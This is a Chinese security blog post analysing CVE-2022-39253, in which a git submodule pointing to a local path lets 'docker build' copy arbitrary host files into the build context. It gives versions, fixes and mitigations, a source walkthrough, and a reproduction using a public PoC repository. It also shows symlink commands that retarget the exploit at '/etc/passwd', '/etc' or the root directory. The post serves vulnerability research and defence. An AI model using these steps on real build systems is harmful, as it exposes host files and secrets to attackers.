docker 主机文件读取(git CVE-2022-39253) 分析与复现

admin 2024年10月21日22:52:48评论13 views字数 21384阅读71分16秒阅读模式

1

组件简介

Docker是一种开源的轻量级容器技术,可以让开发人员将应用程序和依赖关系打包在一个镜像中,便于随时随地部署。它通过进程隔离技术隔离应用程序和底层操作系统,使应用程序可以在任何地方运行,提高了应用程序的可移植性和可重复性。

docker build是Docker命令行工具中的一个命令,用于创建Docker镜像。它接受一个Dockerfile作为输入,Dockerfile是一个文本文件,包含了构建Docker镜像所需的所有命令。使用docker build命令时,Docker会根据Dockerfile中的步骤依次执行每个命令,并在最后生成一个新的Docker镜像。用户可以使用这个新镜像来创建Docker容器,并在容器中运行应用程序。

docker build也支持直接通过git仓库构建。当URL参数指向一个Git仓库的位置时,该仓库将作为构建环境。系统会递归地获取该仓库及其子模块。仓库首先被拉到你本地主机上的一个临时目录。成功后,该目录被发送到Docker daemon作为上下文来构建镜像。

例如:

  1. docker build https://github.com/docker/rootfs.git#container:docker

详见:https://docs.docker.com/engine/reference/commandline/build/#git-repositories

2

漏洞作者
本漏洞由 Wenxiang Qian@Tencent Blade Team 发现, 由Cory Snider@Mirantis和Bjorn Neergaard@Mirantis作根因分析,Cory Snider也是本漏洞的修复者,贡献了moby/moby和moby/buildkit项目的修复。

3

漏洞详情

1. 介绍

Item

Details

Note

Project

moby/moby[1]

Publish Date

advisory:2022-11-11

fix release: 2022-10-19

Introduce Date

2014-02-18

Confirm Link
GHSA-vp35-85q5-9f25[2]
POC

ssst0n3/docker-cve-2022-39253-poc[3]

Affect Version

official: docker <= 20.10.19
docker compose <= v2.12.0
Fix Version
docker >= 20.10.20
docker compose >= v2.13.0

Fix Commit

commits[4]

commits[5]

Introduce Commit

Support submodules when building from a gh repo[6]

漏洞归属于git,当clone一个本地仓库时,git的本地优化特性会解析软链接,导致主机任意文件读取。

docker build支持通过git仓库构建,攻击者可以通过在git仓库的子模块中嵌入本地仓库,从而利用git漏洞实现主机任意文件读取。

2. 影响

2.1 范围

docker官方公布的范围为 <= 20.10.19。

即:v0.8.1 <= docker <= v20.10.22 (本文完稿前最新版本)

2.2 危害

主机任意文件读取。如果主机上有敏感信息,可能导致逃逸。

CVSS:

业界未对docker的该漏洞打分,我尝试做了分析:

对于docker软件:

6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

vector score reason
Attack Vector Local 要求能控制docker build的参数
Attack Complexity Low -
Privileges Required None 能执行docker build是前提条件
User Interaction None -
Scope Unchanged 对docker软件来说未改变
Confidentiality High 主机任意文件读取
Integrity None -
Availability None -

对典型的编译构建场景

如云厂商提供的构建服务、目标组织的devops流程:

7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

相对docker软件的评分,变化在于Attack Vector:

vector score reason
Attack Vector Network 通常不直接操作docker build命令

2.3 利用场景

基于容器的编译构建场景,特别是云厂商提供的编译构建服务,和目标组织的devops流程中的编译构建服务。

攻击者可以触发docker build从一个恶意的仓库clone代码,利用本漏洞,读取宿主机任意文件。

4

防御

1. 修复建议

  1. 升级git软件至修复版本(>= v2.30.6, v2.31.5, v2.32.4, v2.33.5, v2.34.5, v2.35.5, v2.36.3, v2.37.4, v2.38.1)

  2. 升级docker软件版本至修复版本(>= 20.10.20)

2. 规避措施

  1. 如果更新软件版本不可行,可以考虑设置git config --global protocol.file.allow usergit config --global protocol.file.allow never

  2. 尽可能避免构建不可信的代码

3. 检测

因为最终的payload位于git仓库中,需要判断git仓库中的submodule是否为本地路径。

我认为检测难度较大,可以考虑从行为上检测:

监测操作系统上关键文件的访问行为,能否关联到git clone相关的行为。

5

漏洞复现

1. 复现环境

  • ssst0n3/docker_archive:git_cve-2022-39253

docker run -ti ssst0n3/docker_archive:git_cve-2022-39253
...
ubuntu login: root
Password: root
...
root@ubuntu:~# docker version
...
Server: Docker Engine - Community
Engine:
Version: 20.10.22
...
root@ubuntu:~# apt-cache policy git
git:
Installed: 1:2.34.1-1ubuntu1.2
...

2. 漏洞复现

poc https://github.com/ssst0n3/docker-cve-2022-39253-poc.git

在主机上创建文件/tmp/escaped,正常情况docker build时应无法读取当前工作目录外的文件。

利用该漏洞,可以读取到/tmp/escaped文件内容。实战利用时,可用于读取主机任意目录或文件。

2.1 docker build

在构建过程中,主机文件被复制到了context中。

  1. docker run -ti ssst0n3/docker_archive:git_cve-2022-39253

  2. ...

  3. ubuntu login: root

  4. Password: root

  5. ...

  6. root@ubuntu:~# echo "*************escaped*************" > /tmp/escaped

  7. root@ubuntu:~# docker build https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main

  8. Sending build context to Docker daemon 234kB

  9. Step 1/4 : FROM busybox

  10. latest: Pulling from library/busybox

  11. 45a0cdc5c8d3: Pull complete

  12. Digest: sha256:3b3128d9df6bbbcc92e2358e596c9fbd722a437a62bafbc51607970e9e3b8869

  13. Status: Downloaded newer image for busybox:latest

  14. ---> 334e4a014c81

  15. Step 2/4 : COPY / /

  16. ---> 9f2e7d6efffd

  17. Step 3/4 : RUN ls -lah /.git/modules/evil/objects/host

  18. ---> Running in e21e9a9c8294

  19. -rw-r--r-- 1 root root 8 Dec 21 02:26 /.git/modules/evil/objects/host

  20. Removing intermediate container e21e9a9c8294

  21. ---> c87453ca2a37

  22. Step 4/4 : RUN cat /.git/modules/evil/objects/host

  23. ---> Running in a0463dca30b7

  24. *************escaped*************

  25. Removing intermediate container a0463dca30b7

  26. ---> 2330735e84e4

  27. Successfully built 2330735e84e4

2.2 buildkit

注:buildkit仅可用以下环境复现,高版本已修复。

  • ssst0n3/docker_archive:git_cve-2022-39253

  • ssst0n3/docker_archive:ubuntu-22.04_docker-ce-20.10.19_docker-ce-cli-20.10.19_containerd.io-1.6.14-1_docker-compose-plugin-2.14.1

在构建过程中,主机文件被复制到了context中。

  1. docker run -ti ssst0n3/docker_archive:git_cve-2022-39253

  2. ...

  3. ubuntu login: root

  4. Password: root

  5. ...

  6. root@ubuntu:~# echo "*************escaped*************" > /tmp/escaped

  7. root@ubuntu:~# DOCKER_BUILDKIT=1 docker build --build-arg BUILDKIT_CONTEXT_KEEP_GIT_DIR=1 --progress=plain https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main

  8. #1 [internal] load git source https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main

  9. #1 sha256:280616c8069fb544e8cc9145dd9ea05c8b9cc706a342b113745c6bc7694e4e9d

  10. #1 1.544 6b5a4c619a33f5abf25b3aaee99913ab27d1ec9brefs/heads/main

  11. #1 2.602 hint: Using 'master' as the name for the initial branch. This default branch name

  12. #1 2.602 hint: is subject to change. To configure the initial branch name to use in all

  13. #1 2.602 hint: of your new repositories, which will suppress this warning, call:

  14. #1 2.602 hint:

  15. #1 2.617 Initialized empty Git repository in /var/lib/docker/overlay2/ous0wc3tbo7v6tuzrcda51dln/diff/.git/

  16. #1 2.620 hint: git config --global init.defaultBranch <name>

  17. #1 2.620 hint:

  18. #1 2.620 hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and

  19. #1 2.620 hint: 'development'. The just-created branch can be renamed via this command:

  20. #1 2.620 hint:

  21. #1 2.620 hint: git branch -m <name>

  22. #1 3.465 From /var/lib/docker/overlay2/aaqjop89za0ovjstnnqfb6gfc/diff

  23. #1 3.465 * [new tag] main -> main

  24. #1 3.469 * [new tag] main -> main

  25. #1 3.741 Note: switching to 'FETCH_HEAD'.

  26. #1 3.741

  27. #1 3.741 You are in 'detached HEAD' state. You can look around, make experimental

  28. #1 3.741 changes and commit them, and you can discard any commits you make in this

  29. #1 3.741 state without impacting any branches by switching back to a branch.

  30. #1 3.741

  31. #1 3.741 If you want to create a new branch to retain commits you create, you may

  32. #1 3.741 do so (now or later) by using -c with the switch command. Example:

  33. #1 3.741

  34. #1 3.741 git switch -c <new-branch-name>

  35. #1 3.741

  36. #1 3.741 Or undo this operation with:

  37. #1 3.741

  38. #1 3.741 git switch -

  39. #1 3.741

  40. #1 3.741 Turn off this advice by setting config variable advice.detachedHead to false

  41. #1 3.741

  42. #1 3.748 HEAD is now at 6b5a4c6 Update README.md

  43. #1 4.558 Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'

  44. #1 4.735 Cloning into '/var/lib/docker/overlay2/ous0wc3tbo7v6tuzrcda51dln/diff/evil'...

  45. #1 4.783 warning: --depth is ignored in local clones; use file:// instead.

  46. #1 4.914 done.

  47. #1 5.524 Submodule path 'evil': checked out 'f66ae89dec4c3bcdc5e26a05013f9e81a9d289ac'

  48. #1 DONE 5.8s

  49. #2 [internal] load metadata for docker.io/library/busybox:latest

  50. #2 sha256:da853382a7535e068feae4d80bdd0ad2567df3d5cd484fd68f919294d091b053

  51. #2 DONE 1.9s

  52. #3 [1/4] FROM docker.io/library/busybox@sha256:7b3ccabffc97de872a30dfd234fd972a66d247c8cfc69b0550f276481852627c

  53. #3 sha256:5d01dee3676f65afd16d92926a73622e9d820268eed02e12d615383bc73e77bc

  54. #3 DONE 0.0s

  55. #3 [1/4] FROM docker.io/library/busybox@sha256:7b3ccabffc97de872a30dfd234fd972a66d247c8cfc69b0550f276481852627c

  56. #3 sha256:5d01dee3676f65afd16d92926a73622e9d820268eed02e12d615383bc73e77bc

  57. #3 CACHED

  58. #4 [2/4] COPY / /

  59. #4 sha256:acfb16def20dd1b9c0b14696c830303130ec75730686519d7754e89a9745440f

  60. #4 DONE 0.7s

  61. #5 [3/4] RUN ls -lah /.git/modules/evil/objects/host

  62. #5 sha256:9488618b1286f5485467903ce3c2b8145a1e9a2859a2c764361595f85a6930e4

  63. #5 3.973 -rw-r--r-- 1 root root 34 Jan 16 08:46 /.git/modules/evil/objects/host

  64. #5 DONE 4.2s

  65. #6 [4/4] RUN cat /.git/modules/evil/objects/host

  66. #6 sha256:4dc361a882d0568aa9bb14db6943d84275df59e5d51571e558932ba5071f7dac

  67. #6 4.722 *************escaped*************

  68. #6 DONE 5.1s

  69. #7 exporting to image

  70. #7 sha256:e8c613e07b0b7ff33893b694f7759a10d42e180f2b4dc349fb57dc6b71dcab00

  71. #7 exporting layers

  72. #7 exporting layers 1.1s done

  73. #7 writing image sha256:9c2a833580670c808035e470e33f9e4a2a24068641e9e522dc8a64955e9fb6a5 0.0s done

  74. #7 DONE 1.1s

6

漏洞分析

该漏洞归属于git,关于git部分的分析,详见公众号文章“Git CVE-2022-39253 漏洞分析与复现的“漏洞分析章节”。

下文走读docker v20.10.19分支下的代码,分析docker是如何调用git相关特性的。

1. 原始特性分析

docker build 支持通过git仓库构建镜像,如果git仓库内嵌了子模块,还会递归获取子模块代码。

下面我构造一个环境验证一下docker build的递归获取git子模块的功能。

  1. root@ubuntu:~# cd /tmp

  2. root@ubuntu:/tmp# git init repo

  3. root@ubuntu:/tmp# git init sub

  4. root@ubuntu:/tmp# cd sub

  5. root@ubuntu:/tmp/sub# touch SUB-MODULE-PULLED

  6. root@ubuntu:/tmp/sub# git add . && git commit -m init

  7. root@ubuntu:/tmp/sub# cd /tmp/repo

  8. root@ubuntu:/tmp/repo# git submodule add /tmp/sub

  9. root@ubuntu:/tmp/repo# cat << EOF > Dockerfile

  10. FROM busybox

  11. COPY . /

  12. RUN ls -lah /

  13. RUN ls -lah /sub

  14. EOF

  15. root@ubuntu:/tmp/repo# git add . && git commit -m init

  16. root@ubuntu:/tmp/repo# git update-server-info

  17. root@ubuntu:/tmp/repo# python3 -m http.server 8000

  18. Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

执行docker build, 可见sub子模块自动被拉取。

  1. root@ubuntu:~# docker build http://127.0.0.1:8000/.git

  2. Sending build context to Docker daemon 127.5kB

  3. Step 1/4 : FROM busybox

  4. ---> 66ba00ad3de8

  5. Step 2/4 : COPY . /

  6. ---> 846236f9f6d0

  7. Step 3/4 : RUN ls -lah /

  8. ---> Running in 941ba6d1b8b1

  9. total 64K

  10. drwxr-xr-x 1 root root 4.0K Jan 11 11:49 .

  11. drwxr-xr-x 1 root root 4.0K Jan 11 11:49 ..

  12. -rwxr-xr-x 1 root root 0 Jan 11 11:49 .dockerenv

  13. drwxr-xr-x 9 root root 4.0K Jan 11 11:49 .git

  14. -rw-r--r-- 1 root root 46 Jan 11 11:49 .gitmodules

  15. -rw-r--r-- 1 root root 54 Jan 11 11:49 Dockerfile

  16. drwxr-xr-x 2 root root 12.0K Jan 3 22:44 bin

  17. drwxr-xr-x 5 root root 340 Jan 11 11:49 dev

  18. drwxr-xr-x 1 root root 4.0K Jan 11 11:49 etc

  19. drwxr-xr-x 2 nobody nobody 4.0K Jan 3 22:44 home

  20. drwxr-xr-x 2 root root 4.0K Jan 3 22:44 lib

  21. lrwxrwxrwx 1 root root 3 Jan 3 22:44 lib64 -> lib

  22. dr-xr-xr-x 183 root root 0 Jan 11 11:49 proc

  23. drwx------ 2 root root 4.0K Jan 3 22:44 root

  24. drwxr-xr-x 2 root root 4.0K Jan 11 11:49 sub

  25. dr-xr-xr-x 13 root root 0 Jan 11 11:49 sys

  26. drwxrwxrwt 2 root root 4.0K Jan 3 22:44 tmp

  27. drwxr-xr-x 4 root root 4.0K Jan 3 22:44 usr

  28. drwxr-xr-x 4 root root 4.0K Jan 3 22:44 var

  29. Removing intermediate container 941ba6d1b8b1

  30. ---> 2a6f775fb86e

  31. Step 4/4 : RUN ls -lah /sub

  32. ---> Running in 2da23649b92e

  33. total 12K

  34. drwxr-xr-x 2 root root 4.0K Jan 11 11:49 .

  35. drwxr-xr-x 1 root root 4.0K Jan 11 11:49 ..

  36. -rw-r--r-- 1 root root 28 Jan 11 11:49 .git

  37. -rw-r--r-- 1 root root 0 Jan 11 11:49 SUB-MODULE-PULLED

  38. Removing intermediate container 2da23649b92e

  39. ---> 658a8c16d5d4

  40. Successfully built 658a8c16d5d4

2. 调用链分析

执行docker build命令从docker cli开始。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L112

  1. func NewBuildCommand(dockerCli command.Cli) *cobra.Command {

  2. ...

  3. cmd := &cobra.Command{

  4. ...

  5. RunE: func(cmd *cobra.Command, args []string) error {

  6. options.context = args[0]

  7. return runBuild(dockerCli, options)

  8. },

  9. }

  10. ...

  11. }

docker build支持buildkit功能,要分开来分析。因为buildkit功能相对更复杂,下文将先分析未开启buildkit的情况,再分析buildkit。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L209

  1. func runBuild(dockerCli command.Cli, options buildOptions) error {

  2. buildkitEnabled, err := command.BuildKitEnabled(dockerCli.ServerInfo())

  3. ...

  4. if buildkitEnabled {

  5. return runBuildBuildKit(dockerCli, options)

  6. }

  7. ...

  8. }

2.1 未启用buildkit

cli在请求engine build之前,要负责将context,dockerfile收集好,传递给engine。

支持4种场景:

  1. stdin

  2. 本地目录

  3. git

  4. url

其中git场景,会从git仓库下载代码到临时目录。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L258-L278

  1. func runBuild(dockerCli command.Cli, options buildOptions) error {

  2. ...

  3. specifiedContext := options.context

  4. ...

  5. switch {

  6. case options.contextFromStdin():

  7. // buildCtx is tar archive. if stdin was dockerfile then it is wrapped

  8. buildCtx, relDockerfile, err = build.GetContextFromReader(dockerCli.In(), options.dockerfileName)

  9. case isLocalDir(specifiedContext):

  10. contextDir, relDockerfile, err = build.GetContextFromLocalDir(specifiedContext, options.dockerfileName)

  11. ...

  12. case urlutil.IsGitURL(specifiedContext):

  13. tempDir, relDockerfile, err = build.GetContextFromGitURL(specifiedContext, options.dockerfileName)

  14. case urlutil.IsURL(specifiedContext):

  15. buildCtx, relDockerfile, err = build.GetContextFromURL(progBuff, specifiedContext, options.dockerfileName)

  16. default:

  17. ...

  18. }

  19. ...

  20. }

IsGitURL函数判断url是否为有效的git地址。

注意:这里cli调用了docker engine的代码,但流程仍在cli部分处理。此类代码,因为被vendor到了cli仓库,所以我们直接在cli仓库内分析。
但实际上,相关代码的维护是先在docker engine修改,再vendor到cli仓库的。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/pkg/urlutil/urlutil.go#L33

  1. var (

  2. validPrefixes = map[string][]string{

  3. "url": {"http://", "https://"},

  4. "git": {"git://", "github.com/", "git@"},

  5. ...

  6. }

  7. urlPathWithFragmentSuffix = regexp.MustCompile(".git(?:#.+)?$")

  8. )

  9. func IsURL(str string) bool {

  10. return checkURL(str, "url")

  11. }

  12. func IsGitURL(str string) bool {

  13. if IsURL(str) && urlPathWithFragmentSuffix.MatchString(str) {

  14. return true

  15. }

  16. return checkURL(str, "git")

  17. }

  18. func checkURL(str, kind string) bool {

  19. for _, prefix := range validPrefixes[kind] {

  20. if strings.HasPrefix(str, prefix) {

  21. return true

  22. }

  23. }

  24. return false

  25. }

GetContextFromGitURL函数调用git.Clone下载代码。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build/context.go#L198

  1. import(

  2. ...

  3. "github.com/docker/docker/builder/remotecontext/git"

  4. ...

  5. )

  6. func GetContextFromGitURL(gitURL, dockerfileName string) (string, string, error) {

  7. ...

  8. absContextDir, err := git.Clone(gitURL)

  9. ...

  10. }

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L24

  1. func Clone(remoteURL string) (string, error) {

  2. repo, err := parseRemoteURL(remoteURL)

  3. if err != nil {

  4. return "", err

  5. }

  6. return cloneGitRepo(repo)

  7. }

从url字符串中解析

  • git仓库地址

  • ref: git分支或tag

  • subdir: git仓库的子目录

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L77

  1. func parseRemoteURL(remoteURL string) (gitRepo, error) {

  2. repo := gitRepo{}

  3. ...

  4. if strings.HasPrefix(remoteURL, "git@") {

  5. ...

  6. } else {

  7. u, err := url.Parse(remoteURL)

  8. if err != nil {

  9. return repo, err

  10. }

  11. repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)

  12. u.Fragment = ""

  13. repo.remote = u.String()

  14. }

  15. ...

  16. return repo, nil

  17. }

cloneGitRepo函数调用系统中的git命令,下面逐步走读该函数。

下载代码前,准备git的工作目录。

  • 创建临时目录,形如/tmp/docker-build-git210804187,下面都用该路径代指临时目录

  • 初始化git工作目录,执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git init

  • 添加远程版本库, 执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git remote add origin <address>

做好这些准备工作,下一步就可以拉取代码了。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L37-L57

  1. func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {

  2. ...

  3. root, err := ioutil.TempDir("", "docker-build-git")

  4. if err != nil {

  5. return "", err

  6. }

  7. defer func() {

  8. if err != nil {

  9. os.RemoveAll(root)

  10. }

  11. }()

  12. if out, err := gitWithinDir(root, "init"); err != nil {

  13. ...

  14. }

  15. if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {

  16. ...

  17. }

  18. ...

  19. }

  20. func gitWithinDir(dir string, args ...string) ([]byte, error) {

  21. a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}

  22. return git(append(a, args...)...)

  23. }

  24. func git(args ...string) ([]byte, error) {

  25. return exec.Command("git", args...).CombinedOutput()

  26. }

执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git fetch [--depth 1] origin -- <ref>,fetch代码。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L58

  1. func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {

  2. fetch := fetchArgs(repo.remote, repo.ref)

  3. ...

  4. if output, err := gitWithinDir(root, fetch...); err != nil {

  5. return "", errors.Wrapf(err, "error fetching: %s", output)

  6. }

  7. ...

  8. }

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L124

  1. func fetchArgs(remoteURL string, ref string) []string {

  2. args := []string{"fetch"}

  3. if supportsShallowClone(remoteURL) {

  4. args = append(args, "--depth", "1")

  5. }

  6. return append(args, "origin", "--", ref)

  7. }

checkout 到特定分支,如果有指定子目录,将工作目录切换至该子目录。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L62

  1. func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {

  2. ...

  3. checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)

  4. if err != nil {

  5. return "", err

  6. }

  7. ...

  8. }

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L166

  1. func checkoutGit(root, ref, subdir string) (string, error) {

  2. if output, err := gitWithinDir(root, "checkout", ref); err != nil {

  3. if _, err2 := gitWithinDir(root, "checkout", "FETCH_HEAD"); err2 != nil {

  4. return ...

  5. }

  6. }

  7. if subdir != "" {

  8. newCtx, err := symlink.FollowSymlinkInScope(filepath.Join(root, subdir), root)

  9. if err != nil {

  10. return ...

  11. }

  12. fi, err := os.Stat(newCtx)

  13. if err != nil {

  14. return "", err

  15. }

  16. if !fi.IsDir() {

  17. return ...

  18. }

  19. root = newCtx

  20. }

  21. return root, nil

  22. }

递归下载子模块,执行git submodule update --init --recursive --depth=1

  1. func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {

  2. ...

  3. cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")

  4. cmd.Dir = root

  5. output, err := cmd.CombinedOutput()

  6. if err != nil {

  7. return "", errors.Wrapf(err, "error initializing submodules: %s", output)

  8. }

  9. return checkoutDir, nil

  10. }

未启用buildkit的场景分析完毕,确认其通过调用git执行一系列命令。

2.2 buildkit

对开启了buildkit的git场景,cli几乎不作处理,直接把git地址透传至engine。

2.2.1 cli

判断build场景,如果是git地址,直接传递至engine。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L47

  1. func runBuildBuildKit(dockerCli command.Cli, options buildOptions) error {

  2. ...

  3. switch {

  4. case options.contextFromStdin():

  5. ...

  6. case isLocalDir(options.context):

  7. ...

  8. case urlutil.IsGitURL(options.context):

  9. remote = options.context

  10. case urlutil.IsURL(options.context):

  11. ...

  12. default:

  13. return ...

  14. }

  15. ...

  16. eg.Go(func() error {

  17. ...

  18. buildOptions.RemoteContext = remote

  19. ...

  20. return doBuild(ctx, eg, dockerCli, stdoutUsed, options, buildOptions, dockerAuthProvider)

  21. })

  22. return eg.Wait()

  23. }

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L254

  1. func doBuild(ctx context.Context, eg *errgroup.Group, dockerCli command.Cli, stdoutUsed bool, options buildOptions, buildOptions types.ImageBuildOptions, at session.Attachable) (finalErr error) {

  2. ...

  3. response, err := dockerCli.Client().ImageBuild(context.Background(), nil, buildOptions)

  4. ...

  5. }

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/client/image_build.go#L35

  1. func (cli *Client) ImageBuild(ctx context.Context, buildContext io.Reader, options types.ImageBuildOptions) (types.ImageBuildResponse, error) {

  2. query, err := cli.imageBuildOptionsToQuery(options)

  3. ...

  4. serverResp, err := cli.postRaw(ctx, "/build", query, buildContext, headers)

  5. ...

  6. }

2.2.2 engine

buildkit代码的调用链过于复杂,我跳过前置部分,直接来到调用git的地方。前置部分有机会再补充。

执行 git ls-remote,确认远端仓库是否存在ref

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L349

  1. func (gs *gitSourceHandler) CacheKey(ctx context.Context, g session.Group, index int) (string, solver.CacheOpts, bool, error) {

  2. ...

  3. buf, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "ls-remote", "origin", ref)

  4. ...

  5. }

初始化工作目录。

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L128-L139

  1. func (gs *gitSource) mountRemote(ctx context.Context, remote string, auth []string, g session.Group) (target string, release func(), retErr error) {

  2. ...

  3. if initializeRepo {

  4. if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "init", "--bare"); err != nil {

  5. return ...

  6. }

  7. if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "remote", "add", "origin", remote); err != nil {

  8. return ...

  9. }

  10. ...

  11. }

  12. ...

  13. }

依次执行以下命令

  • git cat-file

  • git fetch

  • git init

  • git remote add origin

  • git update ref

  • git fetch

  • git checkout

  • git submodule

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L368

  1. func (gs *gitSourceHandler) Snapshot(ctx context.Context, g session.Group) (out cache.ImmutableRef, retErr error) {

  2. ...

  3. doFetch := true

  4. if isCommitSHA(ref) {

  5. // skip fetch if commit already exists

  6. if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, nil, "cat-file", "-e", ref+"^{commit}"); err == nil {

  7. doFetch = false

  8. }

  9. }

  10. ...

  11. if doFetch {

  12. os.RemoveAll(filepath.Join(gitDir, "shallow.lock"))

  13. args := []string{"fetch"}

  14. if !isCommitSHA(ref) { // TODO: find a branch from ls-remote?

  15. args = append(args, "--depth=1", "--no-tags")

  16. } else {

  17. if _, err := os.Lstat(filepath.Join(gitDir, "shallow")); err == nil {

  18. args = append(args, "--unshallow")

  19. }

  20. }

  21. args = append(args, "origin")

  22. if !isCommitSHA(ref) {

  23. args = append(args, "--force", ref+":tags/"+ref)

  24. }

  25. if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, args...); err != nil {

  26. return ...

  27. }

  28. }

  29. ...

  30. if gs.src.KeepGitDir {

  31. checkoutDirGit := filepath.Join(checkoutDir, ".git")

  32. if err := os.MkdirAll(checkoutDir, 0711); err != nil {

  33. return nil, err

  34. }

  35. _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "init")

  36. if err != nil {

  37. return nil, err

  38. }

  39. _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "remote", "add", "origin", gitDir)

  40. if err != nil {

  41. return nil, err

  42. }

  43. pullref := ref

  44. if isCommitSHA(ref) {

  45. pullref = "refs/buildkit/" + identity.NewID()

  46. _, err = gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "update-ref", pullref, ref)

  47. if err != nil {

  48. return nil, err

  49. }

  50. } else {

  51. pullref += ":" + pullref

  52. }

  53. _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, gs.auth, "fetch", "-u", "--depth=1", "origin", pullref)

  54. if err != nil {

  55. return nil, err

  56. }

  57. _, err = gitWithinDir(ctx, checkoutDirGit, checkoutDir, sock, knownHosts, nil, "checkout", "FETCH_HEAD")

  58. if err != nil {

  59. return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)

  60. }

  61. gitDir = checkoutDirGit

  62. } else {

  63. _, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, nil, "checkout", ref, "--", ".")

  64. if err != nil {

  65. return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)

  66. }

  67. }

  68. _, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, gs.auth, "submodule", "update", "--init", "--recursive", "--depth=1")

  69. ...

  70. }

基本上与非buildkit是一致的,最后会执行git submodule命令来递归下载子模块。

区别在于buildkit场景需要满足 gs.src.KeepGitDir,才会保留git目录。即,需要设置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true。这可能会影响漏洞利用。

3. 漏洞分析

根据上文的分析,docker build时处理git地址,几乎都是直接调用的git命令。在涉及submodule时,也默认递归下载。

因此,docker build受git的漏洞CVE-2022-39253影响。

如果使用buildkit,因为buildkit默认不保留git目录,而漏洞利用需要把主机文件复制到git目录。所以需要配置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true,builtkit才受影响。

4. poc构造

poc https://github.com/ssst0n3/docker-cve-2022-39253-poc.git

构造过程详见Git CVE-2022-39253 漏洞分析与复现的“漏洞复现”章节。

如果需要改造,可以fork该项目,将evil2/git/objects/host文件指向其他路径。

  1. ln -s /etc/passwd evil2/git/objects/host

  1. ln -s /etc evil2/git/objects/host

甚至可以直接指向根目录。

7

漏洞挖掘的一些思考

漏洞挖掘方法分析:

  1. 目标:docker

  2. 分析docker所调用的外部命令,其中一个为git

  3. 走读docker源码,获得所有执行的git命令列表

  4. 调用git命令的场景为docker build

  5. 分析docker build的风险,将目标聚焦在调用git时可能触发的漏洞

  6. 考虑git的命令注入,或任意文件读取

  7. 在分析到任意文件读取时,很自然想到软链接

  8. 阅读git相关代码,分析涉及处理软链接的相关函数

其他思考:

  1. 为漏洞产生点不在docker,因此难以挖掘,但可以形成安全模型,由于篇幅关系,另起一篇文章研究。

  2. 该漏洞是git的漏洞,但影响了下游软件

  3. 该漏洞归属于git,下游软件可能没有分配CVE编号,因此可能不受业界重视

  4. 鉴于业界对此漏洞的关注度不足,渗透测试可以重点验证下游软件、云服务的利用情况。

8

参考链接

[1]https://github.com/moby/moby

[2]https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25

[3]https://github.com/ssst0n3/docker-cve-2022-39253-poc

[4]https://github.com/moby/moby/pull/44325

[5]https://github.com/moby/buildkit/commit/c014937225cba29cfb1d5161fd134316c0e9bdaa

[6]https://github.com/moby/moby/commit/c9ae66ffe375156ddf39cb41664224d6e1a6f096

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

贴心提醒!
